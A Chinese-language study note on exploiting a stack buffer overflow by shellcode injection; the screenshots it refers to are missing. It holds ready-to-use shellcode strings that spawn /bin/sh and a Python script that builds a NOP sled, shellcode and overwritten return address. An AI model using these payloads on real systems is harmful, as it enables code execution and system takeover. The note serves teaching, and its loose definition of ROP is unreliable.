1. 代碼靜態分析
如上圖所示,有一個buffer很明顯可以被拿來溢出;
2. 攻擊邏輯分析
上圖展示了一個正常的調用棧構成,在調用函數發起調用后,被調函數將形式參數、返回地址、前幀指針(記錄callee的棧頂)和本地變量依次壓進棧中,隨后執行函數功能。
攻擊者可以通過溢出本地變量的方式覆蓋掉返回地址,以此達到當被調函數返回時,返回到攻擊者指定內存地址的效果。如果該指定地點是一個已經存在的函數或共享庫中的函數,那么被調函數結束時,將會直接開始執行該指定函數。這種攻擊我們稱為 ROP攻擊(return oriented programming attack,面向返回編程攻擊)。如果返回地址是攻擊者控制的輸入(比如上圖中的buffer),而輸入中包含了可執行代碼(比如shellcode),那么這種攻擊我們稱為注入攻擊(Shellcode injection)。
本筆記便討論如何進行返回攻擊,實行該攻擊需要以下條件:
1. 攻擊者控制輸入
2. 注入地址可執行
攻擊完成后,棧內環境應該如下圖所示:
3. 攻擊過程記錄
通過代碼分析可知,漏洞存在攻擊者可以控制的輸入,但是不知道內存是否可以修改,所以使用下列命令查看:
gdb$ vmmap # inside gdb debug tools $ cat /proc/<pid>/maps # in bash
輸出如下:
可以看到在stack(棧)部分的內存是可執行1的,因而放置shellcode后如果能夠控制程序返回跳轉到這里,那么shellcode就能夠被執行。
攻擊中常用的幾種shellcode:
open = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff" + "/bin/sh" bash = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" sudo = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
NUL = "\x90"
我們先隨便放點輸入,看看我們要攻擊的函數的棧結構:
可以看到,棧中我們的輸入從0xffffd130<stack+16>處開始,在0xffffd43c<stack+796>處遇到了返回地址。也就是說,我們需要通過溢出的方式將 <stack+16> 到 <stack+795>的全部內存占滿並植入shellcode,然后在<stack+796>到<stack+800> 處放置我們設置的返回地址,也就是buffer的起始地址。
寫一個如下的python腳本來生成輸入:
import sys
# 占滿內存空間,使用大量的 0x90 是因為 0x90 是一條機器指令,其作用是消耗1CPU周期但不做任何操作,這樣就算是我們的return address設置的有點歪也不會出什么問題。 sys.stdout.write("\x90" * 16)
# 植入shellcode:打開 /bin/sh, 這一條shellcode長度是45 Byte sys.stdout.write("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")
# 填滿剩下的部分,45 + 16 + 719 = 780 Bytes sys.stdout.write("\x90" * 719) # 在最后填上我們指定的返回地址。注意,上面的截圖中我們看到的buffer起始地址不一定是現在我們在用的地址,原因是隨着輸入字符數量的變化,argument部分(見第二部分的圖)的空間會變化,跟隨而來的,local variables的內存地址也會變化。
# 因而,此處的地址究竟是什么,還需要多次重復上面的過程來尋找答案。 sys.stdout.write("\x40\xce\xff\xff")
腳本寫完,run一下試試看:
(gdb) $run `python ./input.py`
成功:
如紅框所示,我們成功的在gdb中開了一個/bin/sh.
4. DLC
1. 第三部分中的“可執行”的含義是:如果程序在應當執行指令的時候讀取到了stack上的內容,那么它可以執行。比如本例中我們將ret address改為了一個在stack上的地址,於是函數在執行到ret 的時候並沒有返回到他的
caller,也就是<main + 76>, 反而是跳轉到了我們指定的內存地址 0xffffce40 並把這個地址中的內容當作了可供執行的指令(而其中確實存放了可以執行的字節碼),所以此次攻擊成功了。如果跳轉后的地址沒有執行的權限,那么程序將拋出 segfault。
2. 第三部分中的第二張圖的幾個彩色框框的含義:
紅色框:內存地址
黃色框:內存地址中存放的內容
青色框:如果內存地址中存放的內容是指針(換句話說,還是個地址),那么在青色框中顯示對此地址的解引用(deref)結果。
因此,內存地址 0cffffd120 和 0xffffd124不是buffer的起始地址和結束地址。